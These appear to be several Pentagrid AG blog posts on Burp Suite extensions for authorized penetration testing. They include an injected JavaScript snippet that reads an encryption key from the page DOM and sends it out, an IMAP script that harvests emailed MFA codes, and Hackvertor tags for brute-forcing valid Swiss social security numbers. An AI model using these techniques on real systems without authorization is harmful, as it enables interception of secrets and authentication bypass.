Ignoring requests if the URL or the entire request matches a certain regex
Delays before repeatability checks or scans, which allows you to browse the website for a while without being disturbed. Additionally, if a request turns non-repatable after 10 seconds it's better not to scan it at all and let you know.
Scanning requests that are not repeatable (not recommended)
Building your own "interesting score" by URL file extension, HTTP status code, HTTP method and number of parameters. Define the score values.
Changing the heuristic keywords to figure out if a request is repeatable or not
Reimplemented JSON, XML and multipart injection. This was necessary, because extensions in Burp can currently not set a parameter value of JSON bodies through the official Burp API.
Added Non-Standard-HTTP header and URL path injection
Thread pooling to make sure Burp Proxy is never waiting for the extension (performance)
Make requests repeatable by using Hackvertor tags and show it in the UI. This means you can reuse the repeatable request in other tools such as the Burp Repeater.
The usual Burp extender API workarounds such as project-level storage.
Hiding items in the table

We're currently working on a new version of the extension where the following things will change:

New feature: Ignoring requests if the response matches a certain regex
New feature: Influence "interesting score" by response content-type (disabled by default as URL file extensions are usually sufficient)
New feature: To declutter the UI, most options will be hidden by default and there is a button to toggle advanced options.
New feature: The extension UI is divided into more tabs which group options together.
New feature: Divide repeatability reasoning and scan reasoning in the UI

We are also going to add additional scan capabilities (like ActiveScan++), for example:

Add non-standard HTTP headers as insertion points
Add URL paths as insertion points (often used as parameters in REST APIs)
Add Bearer Authorization HTTP header as an insertion point, this is important because Burp's new scanner checks for JSON Web Tokens (JWT) and is not yet checking the default "Authorization: Bearer ey[...]" location.
Add Basic Authorization HTTP header as an insertion point (username:password in base64)
Automated Smart Content Discovery as part of scanning, meaning automated Snallygaster checks are performed per directory.

So stay tuned for the next release.

Teaching Burp a new HTTP Transport Encoding

Pentagrid AG — Wed, 13 Apr 2022 10:42:00 GMT

Today we would like to talk about Burp Suite Professional and extensions again. In this blog post we explain how we can teach Burp Suite to handle a custom Transport Encoding that is spoken between an HTTP client and a server by using Burp extensions.

Introduction

Burp has many nice features, but sometimes it lacks a feature we would like to have or our target application is customized so that it is necessary to teach Burp new things. More specifically:

Burp has no support for the standard HTTP brotli Transport-Encoding, but all modern browsers do. This problem is handled by Burp by removing brotli from the Accept-Encoding request header (see Proxy - Options - Miscellaneous - Remove unsupported encodings from Accept-Encoding headers in incoming requests), which works for modern browsers. However, we encountered situations during tests where a non-browser HTTP client software required brotli and refused to talk to the server when brotli encoding is missing.
Java fat clients sometimes zlib-encode the entire HTTP body when talking to a server and vice-versa. They also often refuse to speak non-zlib and do not signal it at all in an HTTP header, therefore it is necessary to implement zlib-decoding and encoding to be able to use Burp properly.
If a website uses JavaScript to encrypt all HTTP bodies when talking to a server and vice-versa, we also would like to implement a decryption and encryption routing to use the Burp tools. We also encountered the same situation with other HTTP clients that used additional transport encryption, such as mobile banking apps.

The biggest issue for us was to figure out how we approach these situations consistently and we show our approach in this blog post.

In this blog post we often refer to "encoding" or "encrypting", which obviously is not the same, but both operations have to be done at the same place inside Burp. Encryption or encoding is merely an implementation detail in this blog post. Also "cleartext" is used to indicate decoded or decrypted content.

Why are you doing all of this?

If Burp is not seeing decoded messages for one of the reasons above, it won't work properly. Tools such as Burp Scanner, Repeater, Intruder and other extensions will often fail to interpret the encoded HTTP content and will for sure fail with encrypted content. It won't matter if you use the scanner or not, in many cases it won't do anything useful if you don't implement this custom decoder/encoder. On the contrary, very often a tester's task is to make their tools work. This might be rewarded in the end by simply pressing the active scan button in Burp and then finding security issues. To us, this is a huge difference between a good and a bad security analysis.

Usually we would suggest to solve this problem with features or extensions that are already present, for example the Hackvertor extension would be a good candidate. However, Hackvertor won't modify responses, so this isn't an option here.

Burp's API for extensions

Burp provides several APIs an extension can use. The API code didn't get much love in the last few years, but this is hopefully changing when Burp releases the New API and multi-language extensibility. Let's hope for the best, but for now we're stuck with the API we have. There are two main API hooks that matter in the situation of a missing Transport Encoding. We'll use the name of the function name in the rest of this blog post, but the interfaces that provide the functionality are called:

IProxyListener, which means you have to implement the function processProxyMessage.
IHttpListener, which means you have to implement the function processHttpMessage.

While both interfaces sound similar, the proxy listener will only see requests and responses going through the proxy (e.g. from the browser), whereas the HTTP listener will see the requests and responses of all tools (Proxy, Crawler, Scanner, Repeater, Intruder, other extensions, etc.). However, there's one little detail that is important to mention: If you want to change messages going throught the proxy, you have to do that in the processProxyMessage function and you can't do that in the processHttpMessage. It's just a Burp API limitation that you can't modify messages from TOOL_PROXY in the processHttpMessage. That means we have to get around this limitation by choosing the correct API.

While we think it is better to use Kotlin to write large Burp extensions nowadays, rapid prototyping is still quicker with Python. Therefore we use Python (or rather, Jython 2.7 in Burp) in this blog post.

Here's a little Python sample extension that handles the API confusion of processProxyMessage and processHttpMessage, so we don't need to care about it anymore and can just modify messages in the newly created processMessage function:

from burp import IBurpExtender
from burp import IHttpListener
from burp import IProxyListener
from burp import IBurpExtenderCallbacks

NAME = "Pentagrid Extension Template"

class BurpExtender(IBurpExtender, IProxyListener, IHttpListener):

    def registerExtenderCallbacks(self, callbacks):
        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # set our extension name
        callbacks.setExtensionName(NAME)

        # register ourselves as an Proxy listener
        callbacks.registerProxyListener(self)

        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)

        print("Loaded "+NAME+" successfully!")

    #
    # implement IHttpListener
    #

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == IBurpExtenderCallbacks.TOOL_PROXY:
            # DONT'T DO ANYTHING HERE
            # Instead, use processProxyMessage below
            # https://github.com/nccgroup/BurpSuiteLoggerPlusPlus/issues/42
            return
        self.processMessage(toolFlag, messageIsRequest, messageInfo)

    #
    # implement IProxyListener
    #
    def processProxyMessage(self, messageIsRequest, message):
        self.processMessage(IBurpExtenderCallbacks.TOOL_PROXY, messageIsRequest, message.getMessageInfo())


    def processMessage(self, toolFlag, messageIsRequest, messageInfo):
        # TODO: Implement whatever you would like to do
        pass

As a bonus, the Burp UI will show the "Edited request" or "Edited response" option in the Proxy tool whenever we change a proxy message. However, for processHttpMessage we are partially blind, the request and responses will simply be changed, but depending on where we measure we might see them in a different state in the UI (discussed in the next section).

Burp's hooking locations

We would like to hook as early as possible and as late as possible. We would like to make sure that we decode or decrypt early, so that all other Burp tools can work with readable non-compressed HTTP requests and responses. We also want to encode or encrypt as late as possible, just before the request leaves Burp for the same reason. The problem here is that processProxyMessage is called before processHttpMessage for requests, but for responses processHttpMessage is called before processProxyMessage. When analysing the exact behavior, we saw it's a non-trivial setup. For example, the built-in Burp Logger is a tab in the Burp UI showing all requests/responses that flow through Burp. But the question is, where does the Burp Logger hook the API itself? Moreover, users who have advanced knowledge of Burp also know that the extension order in the loaded extension list matters. So where should we put our decoder or decrypter and where should we put our encoder or encrypter? This is not easy to explain and it took us a little trial and error, but we figured out that this diagram should be accurate:

Diagram showing how requests and responses are processed inside Burp when we load our Burp extensions. Green is for cleartext (decoded or decrypted) traffic, red for encoded or encrypted traffic.

This diagram shows several interesting details:

We achieve what we want: Target, Intruder, Repeater, Scanner and other extensions can deal with "cleartext" requests. However, we can't make it work with Proxy match/replace rules for requests (they are applied to the encoded content).
Burp's built-in Logger is not last in the chain for responses, it's possible that Burp extensions modify the responses. This means you don't necessarily see what was delivered to the client/server in Logger. You should better use Logger++ and put it last in the extension list to see which requests are sent to the server and which responses are returned after processing in Burp. Of course it depends on what you want to see, but that's what is the most logical setup.
Our extension we would like to write for our purpose has to be first and last (well, second-last before Logger++) to make sure it does its job well. This means we need to write two extensions, an early-decoder that is first in the list for requests (see DECRYPTER top left in the diagram) and responses (see DECRYPTER bottom right) and a late-reencoder that is last in the list for requests (see ENCRYPTER bottom left) and responses (see ENCRYPTER top right). So the order of the extensions has to be like in the following image:

Extension order is important to make sure all extensions see the correct traffic. Early decoder as the first extension, late encoder as the second-last.

Now that we know we need two extensions, how would the Python extensions look like? Here's the early decoder:

from burp import IBurpExtender
from burp import IHttpListener
from burp import IProxyListener
from burp import IBurpExtenderCallbacks

NAME="Pentagrid early decoder"

class BurpExtender(IBurpExtender, IHttpListener, IProxyListener):

    def registerExtenderCallbacks(self, callbacks):

        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName(NAME)

        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)
        callbacks.registerProxyListener(self)

        print("Loaded "+NAME+" successfully!")

    #
    # implement IHttpListener
    #

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == IBurpExtenderCallbacks.TOOL_PROXY and messageIsRequest:
            # Already processed in processProxyMessage
            return
        self.filter_message(toolFlag, messageIsRequest, messageInfo)

    #
    # implement IProxyListener
    #
    def processProxyMessage(self, messageIsRequest, message):
        # Responses are handled as early as possible in processHttpMessage
        if messageIsRequest:
            self.filter_message(IBurpExtenderCallbacks.TOOL_PROXY, messageIsRequest, message.getMessageInfo())


    def filter_message(self, toolFlag, messageIsRequest, messageInfo):
        # TODO: implement decoding
        pass

And here's the late encoder:

from burp import IBurpExtender
from burp import IHttpListener
from burp import IProxyListener
from burp import IBurpExtenderCallbacks

NAME="Pentagrid late encoder"

class BurpExtender(IBurpExtender, IHttpListener, IProxyListener):

    def registerExtenderCallbacks(self, callbacks):

        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName(NAME)

        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)
        callbacks.registerProxyListener(self)

        print("Loaded "+NAME+" successfully!")

    #
    # implement IHttpListener
    #

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == IBurpExtenderCallbacks.TOOL_PROXY and not messageIsRequest:
            # Requests are handled as late as possible in processProxyMessage
            return
        self.filter_message(toolFlag, messageIsRequest, messageInfo)

    #
    # implement IProxyListener
    #
    def processProxyMessage(self, messageIsRequest, message):
        # Responses are handled as late as possible in processHttpMessage
        if not messageIsRequest:
            self.filter_message(IBurpExtenderCallbacks.TOOL_PROXY, messageIsRequest, message.getMessageInfo())


    def filter_message(self, toolFlag, messageIsRequest, messageInfo):
        # TODO: implement encoding
        pass

Bonus

To make this a little more convenient for you, we've set up a Github repository with all the examples from above (in the "minimal" subfolder). However, that's not all:

A fully working example for the zlib-body encoding/decoding.
A template that has some more helpful functions if you want to implement your own decoding/encoding.
An additional extension that implements an IMessageEditorTabFactory, so if you encounter an encoded message in Burp you can click the message viewer option of the extension and will see it in decoded form.

More advanced examples

With the above examples it should be no problem for you to also create extensions that do decryption/encryption instead of decoding/encoding in more complicated setups. In one of our security analysis, we were able to implement the decryption/encryption and hardcoded the key at first. However, then we realised we could additionally inject a JavaScript tag into the HTML single-page response of the server to "steal" our own encryption key from our browser. This removed the requirement to hard-code the encryption key. We did this by replacing </body> with:

<script>let lastKey = null; function pentagrid () {let nowKey = window.encryptionKey; if(nowKey && nowKey !== lastKey){lastKey = nowKey; let pentagrid2 = new XMLHttpRequest(); pentagrid2.open("GET", "/pentagridDiscloseKey=" + nowKey, false); pentagrid2.send(null);}}; setInterval(pentagrid, 500);</script></body>

This JavaScript extracted the encryption key from the browser DOM and sent it through Burp, so we could catch it in our decrypter/encrypter extensions and therefore fully intercept cleartext traffic.

Happy hacking!

Response Overview Burp Extension

Pentagrid AG — Wed, 12 Jan 2022 13:30:00 GMT

Today we would like to announce the release of an updated BurpSuite extension in the BApp store.

In the last few months we've been busy improving some of our own tools. One of them was the Response Overview (used to be called "Response Clusterer") Burp extension. We did a complete rewrite from Jython to Kotlin. Jython has some huge compatibility issues inside Burp, just to mention some of them:

Extensions break depending on if Jython version 2.7.0 or 2.7.2 is installed.
Type issues as Jython needs to convert Java arrays to Python string, which is not trivial in deeply-nested objects.
Jython is not available for Python 3, which is okay, but when our extensions grew large, we missed the type hinting feature of Python 3.
Cool features of Kotlin such as null-checking or automatically generated getter and setter methods are missing.

The only real downside we see is that Kotlin extensions need to be compiled before they can be used, whereas changing a line in a Python script is much easier.

This extension groups all response bodies by similarity and shows a summary, one request/response per group. The extension will allow a tester to get an overview of the tested website's responses from all tools (scanner, proxy, etc.). It provides an additional "semi-automated detection method" (compared to the usual detection methods response-based, time-based, interaction-based, etc.).

The new Response Overview extension has some huge memory, performance and UI improvements. This includes being able to sort the overview table as well as hiding items in it.

Moreover, according to Portswigger, this was the first Kotlin-only extension that was submitted to the Burp internal BApp store. They changed their build-pipeline to make sure Kotlin extensions can be auto-built in the future when submitted to the BApp store. So if you write an extension in Kotlin, make sure to have a look at our Github repository. Moreover, include the API files found in the burp-extender-api-kotlin Github repository as we did in the Response Overview extension.

During the journey of learning Kotlin and writing the extension, we encountered two annoying Kotlin compiler bugs. One bug could be circumvented because Portswigger agreed that Kotlin extension can provide their own API files (see above). The other bug was fixed when a new compiler version came out. We still haven't figured out another Serialization bug we encountered. So if you are a Java/Kotlin wizard, we would also be interested to hear from you why the Java Serialization (or rather the deserialization) of the boolean "hidden" flag in the LogEntry class is not working (hidden flag is always false when deserialized).

The Github repository also features more technical information about the extension. The extension can be found in BApp now and the BApp store listing can be found on the Portswigger website.

Have fun with the extension and happy bug hunting!

Burp Suite - solving E-mail and SMS TAN multi-factor authentication with Hackvertor custom tags

Pentagrid AG — Wed, 17 Mar 2021 08:00:00 GMT

Why bother investing time to automate work when doing IT security testing? On one hand, manual testing is a tedious work, where you spend time doing vulnerability tests that could be done by a machine. On the other hand, letting a machine decide fully on its own on how to do tests will mostly result in the machine doing nothing useful. This is especially true for security testing, where manually checking every parameter for injection attacks is very laborious and automated security scanners go on scanning for hours while a human would have aborted the scan for various reasons. However, if we teach automated tools to do things correctly each time, we get the sweet middle spot of semi-automated security testing, where the tools do the automatic and systematic security tests and the analyst can focus on the parts of a security test, where the tools are likely insufficient.

Burp Suite Pro is one of the main tools to do all kind of HTTP related security analysis and that supports a semi-automated testing. But now and then it lacks certain features. Burp extensions can again add some of them. In this post we would like to show how to use one of the most powerful extensions, Hackvertor by Gareth Hayes and its relatively new feature of Python scripting.

Use Hackvertor to generate Swiss social security numbers

Let's start with a simple example. Imagine you are security testing a website and you found an HTTP-API that expects the de facto Swiss social security number [1] as a parameter. Nearly every adult in Switzerland has such a number. After researching, you find out this unique number always starts with 756, followed by two times four random characters and ending with another two random characters like this:

756.9217.0769.85

If you would just like to brute-force random social security numbers in HTTP requests, you could use Burp's Intruder feature that allows you to try generate different numbers. But what if you would like to send a new random number each time you send the request in Burp's Repeater? This is where Hackvertor can be used. In Hackvertor's UI you can search for tags and you should quickly find the random_num tag. The purpose is simply to generate a random number as shown in the input and output field in the following picture:

So generating a new random social security number is as easy as pasting the following value into an HTTP request in Burp's Repeater:

756.<@random_num_0(4) />.<@random_num_1(4) />.<@random_num_2(2) />

For example, the following request can be created in the Burp Repeater:

However, it will not be sent out from Burp as-is and the tags will be replaced by Hackvertor. How does an example request look like when it leaves Burp? This can be observed in the Logger++ extension (another very helpful extension you should use) as shown in the following picture:

This was just an easy example to start. But the truth is, Swiss social security numbers are not fully random and the last character is an EAN13 checksum over the other characters. And instead of sending incorrect social security numbers to a website, how about calculating that checksum in Hackvertor? That's where custom Hackvertor code execution tags come into play. You can write them in JavaScript or Python, we'll use Python here. Hackvertor code execution tags allow you to write code that takes an input (passed in the variable input, that's whatever is put between the tags) and define the output variable. A no-transformation example looks like this:

So here's a little Python one-liner that calculates the checksum number from the nine random numbers that were passed as input and assigns the value to the variable output:

z=input;y=z.replace('.','');output=z+str(10-(sum([3*int(x) for x in y[1:][::-2]])+sum([int(x) for x in y[::-1][1::2]]))%10)[-1]

Defining it as the tag name ean13 and you should get the following picture when you open the tag in the edit window:

Note that the leading underscore is used for every custom tag, so Hackvertor knows it is not a built-in Hackvertor tag. So how do we use such a custom tag?

First of all, there is a security measure so other people that send traffic through your Burp can't execute the custom tag on your Burp machine. Code execution tags are only executed when a certain random token is included in the tag. This means you'll need to create a custom tag in the Hackvertor UI first to get that random token. Creating the custom tag for our ean13 tag in the Hackvertor UI will result in something like this:

So keep in mind that for your Burp installation, that random number in double qutoes will be different. As the output windows in the above picture tells you, code execution tags are still disabled by default for security reasons. This is a second setting you'll need to change. You can enable them in the top main menu of Burp under the Hackvertor item. What you need to do then is to allow code execution tags in Hackvertor:

After that you will probably not see much in the output window of Hackvertor. That's because we have to give our custom tag the correct input. For example:

<@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")>756.9217.0769.8</@_ean13_3>

Now you should see the correct social security number being generated, namely 756.9217.0769.85. And here comes the real power of Hackvertor. Now you can combine the generation of random numbers feature of Hackvertor and our custom tag in a nested form:

<@_ean13_3("83a52168fad35b2d85f6972b0eb1db91")>756.<@random_num_0(4) />.<@random_num_1(4) />.<@random_num_2(1) /></@_ean13_3>

Whenever you send this value in the Burp Repeater, it will be replaced with a random social security number with a correct checksum. Of course you can now not only generate random social security numbers, but you can also generate the random numbers with Burp Intruder and brute-force with valid EAN13 checksums.

In some cases it might be even possible to simply paste the above tags into the browser you use with Burp and the web server will receive a random social security number. However, this only works if the web application you are testing does not encode the values we put into HTML fields and Hackvertor is still able to see the tag exactly as written above. This is rather a rare case, but it might work.

Update 2024-12-06: The EAN-13 tag is available via the Hackvertor tag store.

Use Hackvertor to fetch second-factor authentication token

Let's do a more advanced custom tag example. Could you use the scripting capabilities of Hackvertor to automatically solve TAN second factor verification in multi-factor authentication web forms? At Pentagrid we have an SMS to E-mail gateway for pentesting purposes, meaning if second factor TANs are sent out via SMS or E-mail, they will always land in one of our testing E-mail inboxes. Can we retrieve the second factor TAN tokens from the E-mail inbox with a Hackvertor tag? Yes we can, with the very useful Python imaplib and an E-mail server that supports IMAP. Of course the entire parsing logic for the incoming TANs is highly dependent on the web application and how the SMS or E-mails look like. You will need to change the parsing code according to your needs. So here's a quick'n'dirty example that worked for us for a certain web application. We created the new Hackvertor tag like this:

import getpass, imaplib
import time

time.sleep(0.1)

class Email:
    def __init__(self, data):
        self.data = data.decode()
        self.body = "\r\n\r\n".join(self.data.split("\r\n\r\n")[1:])

M = imaplib.IMAP4_SSL(host='use-your-own-mail-host') # warning: no certificate verification
M.login("pentagrid@example.org", "email-password")
M.select()
typ, data = M.search(None, 'ALL')
token = "NO TOKEN WAS FOUND"
for num in data[0].split()[::-1]:
    typ, data = M.fetch(num, '(RFC822)')
    email = Email(data[0][1])
    for line in email.body.splitlines():
        #print(line)
        if line.startswith("Your TAN is: "):
            token = line.split("Your TAN is: ")[1].strip()
    if token:
        print(token)
        break
    else:
        print("No token found")
    #print('Message %s\n%s\n' % (num, data[0][1]))
print("Final token:", token)
output = token
M.close()
M.logout()

The Python code will login to the IMAP mailbox, retrieve E-mails starting with the newest, quick'n'dirty parse the TAN from the E-mail by interating through each line of the E-mail and assign the the first token found to the output variable that Hackvertor expects. You might need to play with the sleep delay we introduced at the beginning of the script to make sure the E-mail reaches the mailbox before you try to retrieve it. Otherwise you could change the script to only consider the very newest E-mail but you would need to take care to delete old E-mails. And of course you need to change your E-mail server, username and password. Please be aware that this is as well not thread-safe, you would need a seperate E-mail mailbox for each thread to make it concurrent.

Configuring a search and replace rule in the Burp Proxy to replace any second factor you enter with the Hackvertor tab is left as an exercise to the reader. We were able to test websites without ever entering the second factor manually again, as the entered token was replaced with a Hackvertor tag and Hackvertor fetched the token from the mailbox.

Hackvertor is therefore the perfect solution if you would like to script things that are sent in HTTP requests. With the new scripting capabilities, it is not necessary to write extensions when you want to change things sent out. Or do you? Unfortunately, there are certain limitations with this approach and in Burp. The search and replace rule for the Proxy of course only works for the Burp Proxy. But what if we want to make the Burp Crawler be able to login with second-factor TANs? We can't use session handling rules (another advanced topic of Burp), as they don't apply for Burp Crawler. But we were able to write an extension that handles that part, but that's for another blog post (it is really cool to see the headed browser of Burp login correctly). And what if you would also like to modify HTTP responses? Or what if you would like to even enhance Burp with a Transfer-Encoding feature it does not yet support? Do you want to know how you could set up an SMS to E-mail gateway? Stay tuned for our next blog posts, subscribe to our RSS feed or follow us on Twitter or LinkedIn.

Update 2025-06-04: An update of Hackvertor in 2025 changed the style of closing elements from <@/name> to </@name>. Therefore, we updated the post, but not the screenshots.

Interview on the “SCS in a nutshell” channel about penetration testing versus bug bounty programs

Pentagrid AG — Tue, 02 Mar 2021 06:00:00 GMT

Swiss Cyber Storm and their host Christian Folini invited freelancing Bug Bounty hunter Raphaël Arrouas and Pentagrid’s IT security analyst Tobias Ospelt to an interview in the „SCS in a nutshell” format about the pro and cons of penetration testing and bug bounty programs. While both approaches are valid methods to find security vulnerabilities, they also differ in many aspects.

The interview began with a discussion about the trust in the maturity level of the Bug Bounty program owner’s security and the necessary trust in people knowing about an organisation’s vulnerabilities. The interview continues with the flexibility on defining rules and scopes, the freedom of picking a scope and about private bug bounty programs, a new format with increasing prominence. The pros and cons of the different economic twists, where a company rewards only identified vulnerabilities versus paying for work time are discussed as well as the visibility and significance of pentest and bug bounty results and their internal processing within a company.

In the conversation, the security researchers’ risk to violate the hacker paragraphs StGB 143 and 144 in Swiss law is also highlighted, because the law disregards researchers and bug bounty hunters acting in good faith.

The whole interview discussing additional topics runs for about 45 minutes and is available via the Swiss Cyber Storm Youtube channel.

Block browser requests to Google during security analysis in Burp

Pentagrid AG — Wed, 04 Nov 2020 09:00:00 GMT

How to stop Portswigger's Burp Proxy's built-in Chromium browser to leak information to Google's Safe Browsing during a web application penetration test?

When doing web application security research and penetration tests for customers, we sometimes get insights into tools we use that seem weird and undesired. A while ago we were testing a financial website with confidential data with the Mozilla Firefox browser and Firefox was sending the following requests whenever we downloaded a PDF from the website:

POST /safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY% HTTP/1.1
Host: sb-ssl.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 189
Connection: close

blob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___________
Dblob:https://www.example.org/6f75423b-3828-5e4b-8241-3e633c684041___
txt_download_name_file_overview.pdf
[...]

As you can see, Firefox leaks the PDF file name we were downloading, the hostname of the website we were testing and some more binary data that could include a file hash. On one side we were happy that we found this privacy issue and could report it to our customer, because this browser behaviour affects normal users. On the other side we do not want our testing tools to behave like this. Safebrowsing can be disabled via the pentest browser's settings menu or by setting these values in about:config and it must be done for every web application test browser in use:

browser.safebrowsing.malware.enabled = false
browser.safebrowsing.phishing.enabled = false

In the meantime the Portswigger Burp proxy we use regularly and write extensions for was updated to include a new feature: A builtin Chromium browser. We really appreciate the added usability and were happy to use this feature in a security analysis in a corporate Windows AD environment, where changing proxy settings was not allowed for the preinstalled browser. Fortunately because we asked our customer to install Burp with administrative privileges, the built-in Chromium browser of Burp could be used. However, we noticed that the preconfigured Chromium browser was again very verbose and contacted Google servers, especially during startup. As we would like to keep all information about our security analysis to our customers and ourselves, we avoid any third-party services wherever feasible. That's why we operate and use our own Burp Collaborator server, for example.

It is possible to disable the Safe Browsing feature in the browser used to perform web application pentests. However, if it is necessary to switch the browser, these settings must be changed there as well and the approach does not really work for the the built-in Chromium browser, because its settings are reset on every start. The easiest solution is to control traffic in the Burp Proxy: We can abuse the Upstream-Proxy setting found in "User options - Connections" in Burp for this purpose. While the following approach will block the requests from reaching the Google servers, they will still show up in the history tab of Burp.

Download google-blocking.json.
In Burp, go to "User options - Connection".
On the left of the "Upstream Proxy Servers" headline, click the settings and chose "Load options".
Chose the file you just downloaded and press "OK". Then, the upstream proxy settings look like in the screenshot below.

This configuration will redirect requests to most Google domains to TCP port 1337 on localhost, which is (hopefully) a dead end. It is possible to use the file as a Burp startup configuration, or even better, merge it with your existing startup configuration by editing the Burp settings JSON file manually. Then, your are able to use these Burp settings in new projects as well.

A drawback of the approach is that your test browser cannot be used for Google searches afterwards and it may break functionality if the tested sites requires resources from Google of course. However, it is recommended to use separate browsers for regular work and for web application testing anyway, because they are configured for different purposes.